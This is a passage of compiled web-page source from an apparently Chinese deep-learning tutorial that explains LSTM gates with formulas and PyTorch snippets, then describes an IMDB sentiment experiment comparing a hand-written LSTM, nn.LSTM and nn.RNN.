\u7684\u68af\u5ea6\u6d88\u5931\u95ee\u9898\u3002\u53ef\u4ee5\u770b\u5230\u4e0b\u65b9\u7ed3\u6784\u56fe\u4e2d\uff0c\u6a21\u578b\u8f93\u5165\u7531\u4e24\u4e2a\u5347\u7ea7\u5230\u4e09\u4e2a\uff0c\u5206\u522b\u662f\u5f53\u524d\u8282\u70b9\u72b6\u6001 $\\mathbf{X}",(0,d.jsx)(e.em,{children:"{t}$\uff0c\u957f\u671f\u8bb0\u5fc6\uff1a$\\mathbf{C}"}),"{t-1}$\uff0c\u77ed\u671f\u8bb0\u5fc6 $\\mathbf{H}",(0,d.jsx)(e.em,{children:"{t-1}$\u3002\u8f93\u51fa\u72b6\u6001\u4f9d\u7136\u662f\u4e24\u4e2a\uff1a\u8282\u70b9\u5f53\u524d\u72b6\u6001 $\\mathbf{C}"}),"{t}$\uff0c\u548c\u8282\u70b9\u5f53\u524d\u9690\u85cf\u72b6\u6001 $\\mathbf{H}_{t}$\u3002"]}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"LSTM\u7ed3\u6784\u56fe",src:s(34978).A+"",width:"1535",height:"669"})}),"\n",(0,d.jsx)(e.p,{children:"\u90a3\u4e48\u95ee\u9898\u6765\u4e86\uff0c LSTM \u662f\u5982\u4f55\u5b9e\u73b0\u5bf9\u957f\u77ed\u8bb0\u5fc6\u7684\u63a7\u5236\u5462\uff1f\n\u8fd9\u5c31\u4e0d\u5f97\u4e0d\u63d0\u4f17\u4eba\u6240\u77e5\u7684\u4e09\u4e2a\u95e8\uff1a"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:"\u9057\u5fd8\u95e8\uff1a\u63a7\u5236\u4fdd\u7559\u591a\u5c11\u4e0a\u4e00\u65f6\u523b\u7684\u5355\u5143\u8282\u70b9\u5230\u5f53\u524d\u8282\u70b9"}),"\n",(0,d.jsx)(e.li,{children:"\u8bb0\u5fc6\u95e8\uff1a\u63a7\u5236\u5c06\u5f53\u524d\u65f6\u523b\u7684\u591a\u5c11\u4fe1\u606f\u8bb0\u5fc6\u5230\u8282\u70b9\u4e2d"}),"\n",(0,d.jsx)(e.li,{children:"\u8f93\u51fa\u95e8\uff1a\u63a7\u5236\u8f93\u51fa\u591a\u5c11\u4fe1\u606f\u7ed9\u5f53\u524d\u8f93\u51fa"}),"\n"]}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u5206\u6790\u4e09\u4e2a\u95e8\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u4e86\u89e3 ",(0,d.jsx)(e.strong,{children:"\u95e8"})," \u8fd9\u4e00\u6982\u5ff5\u3002"]}),"\n",(0,d.jsx)(e.h2,{id:"\u95e8",children:"\u95e8"}),"\n",(0,d.jsxs)(e.p,{children:["\u4ece\u7b80\u5316\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c ",(0,d.jsx)(e.strong,{children:"\u95e8"}),"\u7684\u611f\u89c9\u7c7b\u4f3c\u4e8e\u7535\u8def\u4e2d\u7684\u4e00\u4e2a\u5f00\u5173\uff0c\u5f53\u5f00\u5173\u6309\u4e0b\uff0c\u4fe1\u606f\u901a\u8fc7\uff0c\u800c\u5f00\u5173\u62ac\u8d77\uff0c\u4fe1\u606f\u4e0d\u518d\u901a\u8fc7\u3002\u5b9e\u9645\u4e5f\u5982\u6b64\u7c7b\u4f3c\uff0c",(0,d.jsx)(e.strong,{children:"\u95e8"}),"\u662f\u4e00\u4e2a\u5168\u8fde\u63a5\u5c42\uff0c\u8f93\u5165\u4e3a\u4e00\u4e2a\u5411\u91cf\uff0c\u8f93\u51fa\u4e3a\u4e00\u4e2a\u4f4d\u4e8e [0,1] \u4e4b\u95f4\u7684\u503c\u3002\n\u6211\u4eec\u6765\u8bbe\u8ba1\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u9057\u5fd8\u95e8\uff1a\u6bcf\u6b21\u5b66\u4e60\u72b6\u6001\u4e4b\u540e\uff0c\u90fd\u9057\u5fd8\u4e00\u5b9a\u7684\u5df2\u5b66\u4e60\u5185\u5bb9\uff0c\u6ce8\u610f\uff0c\u8fd9\u91cc\u7684\u9057\u5fd8\u95e8\u4e0e LSTM \u7684\u9057\u5fd8\u95e8\u65e0\u5173\uff0c\u5355\u7eaf\u7406\u89e3 ",(0,d.jsx)(e.strong,{children:"\u95e8"})," \u8fd9\u4e00\u6982\u5ff5\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"# \u4e00\u4e2a\u7ebf\u6027\u5c42 \u7528\u6765\u8ba1\u7b97\u9057\u5fd8\u591a\u5c11\ngate_linear = nn.Linear(hidden_size, 1)\n# \u4e00\u4e2a\u7ebf\u6027\u5c42 \u7528\u6765\u5b66\u4e60\nstudy_linear = nn.Linear(hidden_size, hidden_size)\n# \u6b64\u523b h_t \u662f\u4e0a\u4e00\u65f6\u523b\u72b6\u6001\n# \u8f93\u51fa\u4e3a 0 - 1 \u7684\u503c\ngate = gate_linear(h_t)\n# h_t \u7ecf\u8fc7 study_linear \u8fdb\u884c\u5b66\u4e60\n_h_t = study_linear(h_t)\n# \u5728\u8f93\u51fa\u7ed3\u679c\u4e4b\u524d\uff0c\u7ecf\u8fc7 gate \u5bfc\u81f4\u5185\u5bb9\u53d7\u635f\uff0c\u9057\u5fd8\u4e86\u4e00\u5b9a\u7684\u5b66\u4e60\u5185\u5bb9\nh_t = gate * \uff08_h_t\uff09\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u5982\u679c $gate$ \u503c\u4e3a 0\uff0c\u5219\u5386\u53f2\u4fe1\u606f\u5747\u4f1a\u88ab\u9057\u5fd8\uff0c\u800c\u5982\u679c\u503c\u4e3a1\uff0c\u5219\u5386\u53f2\u4fe1\u606f\u5219\u4f1a\u88ab\u5b8c\u5168\u4fdd\u7559\uff0c\u800c ",(0,d.jsx)(e.code,{children:"gate_linear"})," \u7f51\u7edc\u4e2d\u7684\u8d85\u53c2\u6570\u4f1a\u4e0d\u65ad\u7684\u5b66\u4e60\uff0c\u56e0\u6b64\u4e00\u4e2a\u53ef\u4ee5\u5b66\u4e60\u7684\u5f00\u5173\u95e8\u5c31\u51fa\u73b0\u4e86\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u4f46\u662f\uff0c$gate$ \u4f5c\u4e3a\u4e00\u4e2a\u6d6e\u70b9\u578b\u7684\u6570\u636e\uff0c\u5bf9\u4e8e \u4e34\u65f6\u7ed3\u679c\u77e9\u9635\u53d8\u91cf $_h_t$ \u800c\u8a00\uff0c\u5176\u9057\u5fd8\u63a7\u5236\u662f\u5168\u5c40\u7684\uff0c\u4e5f\u5c31\u662f\uff0c\u5f53 $gate$ \u4e3a 0 \u65f6\uff0c \u5176\u6700\u7ec8\u7ed3\u679c $h_t$ \u4e3a\u5168 0 \u77e9\u9635\u3002\u56e0\u6b64\u6211\u4eec\u5e94\u8be5\u6ce8\u610f\uff1a LSTM \u4e2d\u5e76\u4e0d\u91c7\u7528\u8fd9\u6837\u7684\u5927\u95f8\u95e8\uff0c\u800c\u662f\u91c7\u7528\u5bf9\u6bcf\u4e2a\u53d8\u91cf\u8fdb\u884c\u5206\u522b\u63a7\u5236\u7684\u5c0f\u6c34\u9f99\u5934(\u795e\u7ecf\u7f51\u7edc\u6fc0\u6d3b\u51fd\u6570 ",(0,d.jsx)(e.code,{children:"nn.Sigmode"})," )"]}),"\n",(0,d.jsxs)(e.p,{children:["\u800c\u5728 LSTM \u4e2d\uff0c\u95e8\u4e3b\u8981\u4f7f\u7528 $Sigmod$ \u795e\u7ecf\u7f51\u7edc(",(0,d.jsx)(e.strong,{children:"\u518d\u6b21\u6ce8\u610f\uff0c\u5e76\u975e\u662f\u6fc0\u6d3b\u51fd\u6570\uff0c\u800c\u662f Sigmod \u795e\u7ecf\u7f51\u7edc"}),")\u6765\u5b8c\u6210\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u65b9\u662f\u4e00\u4e2a\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"hidden_size = 5\nsigmoid = nn.Sigmoid()\n# \u9690\u85cf\u72b6\u6001 \u4e3a\u4e86\u65b9\u4fbf\u8ba1\u7b97\uff0c\u5047\u5b9a\u5168 1\nhidden_emb = torch.ones(hidden_size, hidden_size)\n# \u4e2d\u95f4\u67d0\u4e00\u5c42\u795e\u7ecf\u7f51\u7edc\nmodel = nn.Linear(hidden_size\uff0chidden_size)\n# \u83b7\u53d6\u8be5\u5c42\u8f93\u51fa,\u6b64\u65f6\u5c1a\u672a\u88ab\u95e8\u9650\u5236\nmid_out = model(hidden_emb)\n# \u83b7\u53d6\u4e00\u4e2a\u95e8 -- \u6ce8\u610f\uff1a\u5e76\u975e\u4e00\u5b9a\u7531\u8be5\u53d8\u91cf\u6240\u63a7\u5236\n# \u6bd4\u5982\uff1a\u4e5f\u53ef\u4ee5\u7531\u4e0a\u4e00\u65f6\u523b\u7684\u9690\u85cf\u72b6\u6001\u63a7\u5236\n# \u4ee3\u7801\u4e3a\uff1a gate = sigmoid(hidden_emb)\ngate = sigmoid(mid_out) \n# \u5f97\u5230\u6700\u7ec8\u8f93\u51fa\nfinal_out = gate * mid_out\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5728\u6709\u4e86\u5bf9\u95e8\u7684\u57fa\u7840\u77e5\u8bc6\u540e\uff0c\u63a5\u4e0b\u6765\u5bf9\u9057\u5fd8\u95e8\u3001\u8bb0\u5fc6\u95e8\u3001\u8f93\u51fa\u95e8\u8fdb\u884c\u5206\u522b\u5206\u6790\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u9057\u5fd8\u95e8",children:"\u9057\u5fd8\u95e8"}),"\n",(0,d.jsxs)(e.p,{children:["\u9057\u5fd8\u95e8\u6d89\u53ca\u90e8\u5206\u5982\u4e0b\u56fe\u6240\u793a\uff1a\n",(0,d.jsx)(e.img,{alt:"LSTM-\u9057\u5fd8\u95e8",src:s(47272).A+"",width:"1535",height:"669"})]}),"\n",(0,d.jsxs)(e.p,{children:["\u5176\u4e2d\uff0c\u4e0b\u65b9\u84dd\u8272\u8868\u793a\u4e09\u4e2a\u95e8\u5171\u7528\u7684\u8f93\u5165\u90e8\u5206\uff0c\u5747\u4e3a [$\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1}$,$\\mathbf{X}"}),"{t}$],\u9700\u8981\u6ce8\u610f\uff0c\u8fd9\u91cc\u7531\u4e8e\u4e09\u4e2a\u95e8\u4e4b\u95f4\u5e76\u4e0d\u5171\u4eab\u6743\u91cd\u53c2\u6570\uff0c\u56e0\u6b64\u516c\u793a\u867d\u7136\u63a5\u8fd1\uff0c\u4f46\u662f\u4e00\u5171\u8ba1\u7b97\u4e86\u4e09\u6b21\uff0c\u9057\u5fd8\u95e8\u88ab\u6807\u8bb0\u4e3a $f_t$, \u5217\u51fa\u9057\u5fd8\u95e8\u516c\u5f0f\u4e3a\uff1a\n$$\nf_t = \\sigma(\\mathbf{W_f} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_f})\n$$\n\u8f93\u51fa\u7ed3\u679c\u4e3a\u53d6\u503c\u8303\u56f4\u4e3a [ 0, 1 ] \u7684\u77e9\u9635\uff0c\u4e3b\u8981\u529f\u80fd\u662f\u63a7\u5236\u4e0e\u4e4b\u76f8\u4e58\u7684\u77e9\u9635\u7684",(0,d.jsx)(e.strong,{children:"\u9057\u5fd8\u7a0b\u5ea6"}),"\u3002\n\u5c06 $f_t$ \u4e0e\u8f93\u5165\u7684\u4e0a\u4e00\u957f\u671f\u72b6\u6001 $C_{t-1}$ \u76f8\u4e58\uff1a\n$$\nC_t' = f_t * C_{t-1}\n$$"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e00\u90e8\u5206\u7684 $C_{t-1}$ \u5c31\u8fd9\u6837\u88ab\u9057\u5fd8\u4e86\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u8bb0\u5fc6\u95e8",children:"\u8bb0\u5fc6\u95e8"}),"\n",(0,d.jsxs)(e.p,{children:["\u8bb0\u5fc6\u95e8\u6d89\u53ca\u90e8\u5206\u5982\u4e0b\u6240\u793a\uff1a\n",(0,d.jsx)(e.img,{alt:"LSTM\u8bb0\u5fc6\u95e8",src:s(82543).A+"",width:"1535",height:"669"})]}),"\n",(0,d.jsxs)(e.p,{children:["\u4ece\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\uff0c\u8bb0\u5fc6\u95e8\u4e2d\u76f8\u4e58\u7684\u4e24\u4e2a\u90e8\u5206\u5747\u7531 $\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1}$ \u4e0e $\\mathbf{X}"}),"{t}$ \u5f97\u5230\uff0c\n\u5176\u4e2d\uff0c\u5de6\u4fa7\u63a7\u5236\u8bb0\u5fc6\u591a\u5c11\u7684\u90e8\u5206\uff0c\u4e0e\u9057\u5fd8\u95e8\u516c\u5f0f\u57fa\u672c\u4e00\u81f4\uff1a\n$$\ni_t = \\sigma(\\mathbf{W_i} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_i})\n$$\n\u4e0e\u9057\u5fd8\u95e8\u76f8\u901a\uff0c\u8f93\u51fa\u7ed3\u679c\u4e3a\u53d6\u503c\u8303\u56f4\u4e3a [ 0, 1 ] \u7684\u77e9\u9635\uff0c\u4e3b\u8981\u529f\u80fd\u662f\u63a7\u5236\u4e0e\u4e4b\u76f8\u4e58\u7684\u77e9\u9635\u7684",(0,d.jsx)(e.strong,{children:"\u8bb0\u5fc6\u7a0b\u5ea6"}),"\u3002\n\u800c\u53f3\u4fa7\uff0c\u5219\u66f4\u6362\u4e86\u6fc0\u6d3b\u51fd\u6570\uff0c\u7531 $sigmoid$ \u53d8\u6210\u4e86 $tanh$\uff1a\n$$\n\\tilde{C_t} = \\tanh(\\mathbf{W_c} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_c})\n$$\n\u8be5\u516c\u5f0f\u8d1f\u8d23\u7684\u90e8\u5206\u53ef\u4ee5\u770b\u505a\u8d1f\u8d23",(0,d.jsx)(e.strong,{children:"\u77ed\u671f\u9690\u85cf\u72b6\u6001"}),"\u7684\u66f4\u65b0\uff0c\u53d6\u503c\u8303\u56f4\u4e3a [ -1, 1 ]\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6700\u7ec8\u8bb0\u5fc6\u95e8\u66f4\u65b0\u516c\u5f0f\u5982\u4e0b:\n$$\n\\tilde{C_t'}= i_t * \\tilde{C_t}\n$$"}),"\n",(0,d.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u8bf4 $\\tilde{C_t'}$ \u662f\u4fdd\u7559\u4e86\u4e00\u5b9a\u5185\u5bb9\u7684\u77ed\u671f\u72b6\u6001"}),"\n",(0,d.jsx)(e.h2,{id:"\u72b6\u6001\u66f4\u65b0",children:"\u72b6\u6001\u66f4\u65b0"}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"LSTM-\u72b6\u6001\u66f4\u65b0",src:s(43277).A+"",width:"1535",height:"669"})}),"\n",(0,d.jsx)(e.p,{children:"\u5728\u901a\u8fc7\u9057\u5fd8\u95e8\u83b7\u53d6\u5230\u4e86\u88ab\u9057\u5fd8\u4e00\u5b9a\u5185\u5bb9\u7684\u957f\u671f\u72b6\u6001 $C_t'$ \u548c \u4fdd\u7559\u4e86\u4e00\u5b9a\u5185\u5bb9\u7684\u77ed\u671f\u72b6\u6001 $\\tilde{C_t'}$ \u4e4b\u540e\uff0c\u53ef\u4ee5\u901a\u8fc7\u52a0\u6cd5\u76f4\u63a5\u7ed3\u5408"}),"\n",(0,d.jsx)(e.p,{children:"$$\nC_t = C_t' + \\tilde{C_t'}\n$$"}),"\n",(0,d.jsx)(e.h2,{id:"\u8f93\u51fa\u95e8",children:"\u8f93\u51fa\u95e8"}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"LSTM\u8f93\u51fa\u95e8",src:s(20061).A+"",width:"1535",height:"669"})}),"\n",(0,d.jsxs)(e.p,{children:["\u8f93\u51fa\u95e8\u662f\u4e09\u4e2a\u95e8\u4e2d\u6700\u540e\u4e00\u4e2a\u95e8\uff0c\u5f53\u6570\u636e\u5230\u8fbe\u8fd9\u91cc\u7684\u65f6\u5019\uff0c\u6211\u4eec\u4e3b\u8981\u63a7\u5236\u5c06\u957f\u671f\u72b6\u6001\u4e2d\u7684\u5185\u5bb9 $C_t$ \u4fdd\u5b58\u4e00\u5b9a\u5185\u5bb9\u5230 $h_t$ \u4e2d\uff0c\u8fd9\u91cc\u4e0d\u518d\u8d58\u8ff0\n$$\no_t = \\sigma(\\mathbf{W_o} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_o})\n$$"]}),"\n",(0,d.jsx)(e.p,{children:"$$\nh_t = o_t * \\tanh(C_t)\n$$"}),"\n",(0,d.jsx)(e.h2,{id:"\u6a21\u578b\u603b\u7ed3",children:"\u6a21\u578b\u603b\u7ed3"}),"\n",(0,d.jsxs)(e.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u6240\u6709\u516c\u5f0f\u7684\u6838\u5fc3\u90e8\u5206\u90fd\u662f\u5982\u6b64\u7684\u76f8\u4f3c\uff1a\n$$\n\\mathbf{W_c} * [\\mathbf{h}",(0,d.jsx)(e.em,{children:"{t-1},\\mathbf{X}"}),"{t}] + \\mathbf{b_c}\n$$\n\u800c\u8fd9\u90e8\u5206\u5176\u5b9e\u53c8\u53ea\u662f\u7b80\u5355\u7684\u7ebf\u6027\u51fd\u6570\uff0c\u6240\u4ee5 LSTM \u6bd4 RNN \u9ad8\u7ea7\u7684\u5730\u65b9\u5176\u5b9e\u5e76\u4e0d\u5728\u4e8e\u67d0\u4e00\u6761\u516c\u5f0f\uff0c\u800c\u662f\u5b83\u8c03\u6574\u4e86\u6570\u636e\u4e4b\u95f4\u7684\u6d41\u52a8\uff0c\u6309\u7167\u4e00\u5b9a\u7684\u6bd4\u4f8b\u8fdb\u884c\u878d\u5408\uff0c\u5f31\u5316\u4e86\u957f\u8ddd\u79bb\u4e0b\u7684\u68af\u5ea6\u6d88\u5931\u95ee\u9898\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6700\u540e\u603b\u7684\u6765\u770b\uff0cLSTM \u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u5347\u7ea7\u7248\u672c\u7684\u7684 RNN\uff0c\u4ed6\u989d\u5916\u521d\u59cb\u5316\u4e86\u4e00\u4e2a\u72b6\u6001 $C$\uff0c \u7528\u6765\u4fdd\u5b58\u957f\u671f\u7684\u8bb0\u5fc6\uff0c\u63a7\u5236\u8fdc\u8ddd\u79bb\u4e0a\u7684\u53c2\u6570\u6743\u91cd\u3002\u800c\u8f93\u51fa\u4e5f\u57fa\u672c\u7c7b\u4f3c\u4e8e\u6b64\u3002"}),"\n",(0,d.jsx)(e.h1,{id:"lstm-\u5b9e\u6218",children:"LSTM \u5b9e\u6218"}),"\n",(0,d.jsx)(e.h2,{id:"\u5b9e\u9a8c\u8bf4\u660e",children:"\u5b9e\u9a8c\u8bf4\u660e"}),"\n",(0,d.jsxs)(e.p,{children:["\u5b8c\u6574\u4ee3\u7801\u5b9e\u73b0\u53ef\u4ee5\u70b9\u51fb",(0,d.jsx)(e.a,{href:"../../notebook/%E7%AC%AC%E5%8D%81%E7%AB%A0%20%E5%B8%B8%E8%A7%81%E7%BD%91%E7%BB%9C%E4%BB%A3%E7%A0%81%E7%9A%84%E8%A7%A3%E8%AF%BB/LSTM%E5%AE%9E%E6%88%98.ipynb",children:"\u8fd9\u91cc"}),"\u4e0b\u8f7d\u3002\u5728\u5b8c\u6574\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u5171\u8ba1\u4f7f\u7528\u4e86\u4e09\u4e2a\u6a21\u578b\u5e76\u5bf9\u6bd4\u4e86\u4ed6\u4eec\u7684\u6548\u679c\uff0c\u4e09\u4e2a\u6a21\u578b\u5206\u522b\u662f\uff1a\u7531\u6211\u5b8c\u5168\u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"nn.Linear"})," \u5b9e\u73b0\u7684 LSTM \u6a21\u578b\u3001 \u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u4e3a\u57fa\u7840\u7684 LSTM \u6a21\u578b\u548c\u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"nn.RNN"})," \u4e3a\u57fa\u7840\u5b9e\u73b0\u7684 RNN \u6a21\u578b\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u5b9e\u9a8c\u6570\u636e\u96c6\u91c7\u7528 ",(0,d.jsx)(e.a,{href:"http://ai.stanford.edu/~amaas/data/sentiment/",children:"IMDB \u6570\u636e\u96c6"}),"\u3002\u4e3b\u8981\u7531\u7535\u5f71\u8bc4\u8bba\u6784\u6210\uff0c\u957f\u5ea6\u4e0d\u5747\uff0c",(0,d.jsx)(e.strong,{children:"\u4f46\u662f\u957f\u5ea6\u5728 1000 \u5de6\u53f3\u7684\u6570\u636e\u5c5e\u4e8e\u5e38\u89c1\u6570\u636e"}),"\u3002\u6570\u636e\u96c6\u6837\u672c\u5747\u8861\uff0c\u6570\u5171\u8ba1 50000 \u4e2a\u6837\u672c\uff0c\u8bad\u7ec3\u548c\u6d4b\u8bd5\u5404\u6709 25000 \u4e2a\u6837\u672c\uff0c\u540c\u65f6\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684\u6b63\u8d1f\u6bd4\u4f8b\u5747\u4e3a 1:1\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u6839\u636e\u6211\u4eec\u5bf9 RNN \u7684\u4e86\u89e3\uff0c\u8fd9\u6837\u7684\u957f\u5ea6\u662f\u5f88\u96be\u5b66\u4e60\u5230\u6709\u6548\u7684\u77e5\u8bc6\u7684\uff0c\u6240\u4ee5\u5f88\u9002\u5408\u6bd4\u8f83 RNN \u4e0e LSTM \u4e4b\u95f4\u7684\u533a\u522b\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["\u4e3a\u4e86\u65b9\u4fbf\u4ee3\u7801\u590d\u73b0\uff0c\u5728\u5b9e\u73b0\u4e2d\u501f\u52a9\u4e86 ",(0,d.jsx)(e.code,{children:"torchtext"})," \u6765\u5b8c\u6210\u6570\u636e\u4e0b\u8f7d\u53ca\u52a0\u8f7d\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e3a\u4e86\u8bc1\u660e\u6a21\u578b\u771f\u7684\u6709\u5b66\u4e60\u5230\u4e00\u5b9a\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u5bf9\u6bd4\u5b9e\u9a8c\u4e2d\u90e8\u5206\u53c2\u6570\u53ef\u80fd\u5b58\u5728\u90e8\u5206\u533a\u522b\uff0c\u53ef\u4ee5\u5728\u672c\u5730\u8c03\u6574\u5230\u540c\u4e00\u53c2\u6570\u8fdb\u884c\u7ec6\u81f4\u7684\u5bf9\u6bd4\u5b9e\u9a8c\u3002"}),"\n",(0,d.jsx)(e.h2,{id:"\u6a21\u578b\u5b9e\u73b0",children:"\u6a21\u578b\u5b9e\u73b0"}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u5206\u6790\u4e00\u4e0b\u7531\u6211\u5b9e\u73b0\u7684 LSTM \u6a21\u578b\uff0c\u5e76\u4ee5\u6b64\u4e86\u89e3 LSTM \u6a21\u578b\u3002(ps:\u4e2a\u4eba\u80fd\u529b\u6709\u9650,\u6ca1\u80fd\u5b9e\u73b0 ",(0,d.jsx)(e.code,{children:"num_layers"})," \u548c ",(0,d.jsx)(e.code,{children:"Bi-LSTM"})," \u4e24\u4e2a\u7279\u70b9\uff0c\u6b64\u5916\u53ef\u80fd\u5b9e\u73b0\u5b58\u5728\u5176\u4ed6\u95ee\u9898\uff0c\u6b22\u8fce\u7ed9\u4e88\u53cd\u9988)"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:'# \u5b9a\u4e49\u57fa\u7840\u6a21\u578b\nclass LSTM(nn.Module):\n def __init__(self, input_size, hidden_size, num_classes):\n """\n args:\n input_size: \u8f93\u5165\u5927\u5c0f\n hidden_size: \u9690\u85cf\u5c42\u5927\u5c0f\n num_classes: \u6700\u540e\u8f93\u51fa\u7684\u7c7b\u522b\uff0c\u5728\u8fd9\u4e2a\u793a\u4f8b\u4e2d\uff0c\u8f93\u51fa\u5e94\u8be5\u662f 0 \u6216\u8005 1\n """\n super(LSTM, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.num_layers = num_layers\n self.fc_i = nn.Linear(input_size + hidden_size, hidden_size)\n self.fc_f = nn.Linear(input_size + hidden_size, hidden_size)\n self.fc_g = nn.Linear(input_size + hidden_size, hidden_size)\n self.fc_o = nn.Linear(input_size + hidden_size, hidden_size)\n self.sigmoid = nn.Sigmoid()\n self.tanh = nn.Tanh()\n self.fc_out = nn.Linear(hidden_size, num_classes)\n def forward(self, x):\n # \u521d\u59cb\u5316\u9690\u85cf\u72b6\u6001 -- \u77ed\u671f\u8bb0\u5fc6\n h_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)\n # \u521d\u59cb\u5316\u9690\u85cf\u72b6\u6001 -- \u957f\u671f\u8bb0\u5fc6\n c_t = torch.zeros(x.size(0), x.size(1), self.hidden_size).to(x.device)\n # \u8f93\u5165\u4e0e\u77ed\u671f\u8bb0\u5fc6\u76f8\u62fc\u63a5\n combined = torch.cat((x, h_t), dim=2)\n # \u8bb0\u5fc6\u95e8 -- \u8f93\u51fa\u77e9\u9635\u5185\u5bb9\u4e3a 0-1 \u4e4b\u95f4\u7684\u6570\u5b57\n i_t = self.sigmoid(self.fc_i(combined))\n # \u9057\u5fd8\u95e8 -- \u8f93\u51fa\u77e9\u9635\u5185\u5bb9\u4e3a 0-1 \u4e4b\u95f4\u7684\u6570\u5b57\n f_t = self.sigmoid(self.fc_f(combined))\n #\n g_t = self.tanh(self.fc_g(combined))\n # \u8f93\u51fa\u95e8 -- \u8f93\u51fa\u77e9\u9635\u5185\u5bb9\u4e3a 0-1 \u4e4b\u95f4\u7684\u6570\u5b57\n o_t = self.sigmoid(self.fc_o(combined))\n # \u957f\u671f\u72b6\u6001 = \u9057\u5fd8\u95e8 * \u4e0a\u4e00\u65f6\u523b\u7684\u957f\u671f\u72b6\u6001 + \u8bb0\u5fc6\u95e8* \u5f53\u524d\u8bb0\u5fc6\u72b6\u6001\n c_t = f_t * c_t + i_t * g_t\n # \u9690\u85cf\u72b6\u6001 = \u8f93\u51fa\u95e8 * \u957f\u671f\u72b6\u6001\n h_t = o_t * self.tanh(c_t)\n # \u964d\u7ef4\u64cd\u4f5c \n h_t = F.avg_pool2d(h_t, (h_t.shape[1],1)).squeeze()\n # \n out = self.fc_out(h_t)\n return out \n'})}),"\n",(0,d.jsx)(e.h2,{id:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e",children:"\u8d85\u53c2\u6570\u53ca\u53c2\u6570\u8bf4\u660e"}),"\n",(0,d.jsx)(e.h3,{id:"mylstm-\u4e0e-nnlstm",children:"MyLSTM \u4e0e nn.LSTM"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{children:"\u540d\u79f0"}),(0,d.jsx)(e.th,{children:"\u503c"})]})}),(0,d.jsxs)(e.tbody,{children:[(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"learning_rate"}),(0,d.jsx)(e.td,{children:"0.001"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"batch_size"}),(0,d.jsx)(e.td,{children:"32"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"epoch"}),(0,d.jsx)(e.td,{children:"6(3)"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"input_size"}),(0,d.jsx)(e.td,{children:"64"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"hidden_size"}),(0,d.jsx)(e.td,{children:"128"})]}),(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{children:"num_classes"}),(0,d.jsx)(e.td,{children:"2"})]})]})]}),"\n",(0,d.jsx)(e.p,{children:"\u6b64\u65f6\uff1a\nMyLSTM \u53c2\u6570\u91cf: 99074\nnn.LSTM \u53c2\u6570\u91cf: 99328"}),"\n",(0,d.jsxs)(e.p,{children:["\u7531\u4e8e\u6211\u5b9e\u73b0\u7684 MyLSTM \u4e0e nn.LSTM \u6709 254 \u7684\u53c2\u6570\u5dee\uff0c\u6211\u672c\u4eba\u5e76\u6ca1\u80fd\u5206\u6790\u51fa\u6765\u5dee\u522b\u3002 ",(0,d.jsx)(e.code,{children:"nn.LSTM"})," \u5728\u5b9e\u9a8c\u65f6\u5927\u6982\u7387\u6bd4\u6211\u7684 MyLSTM 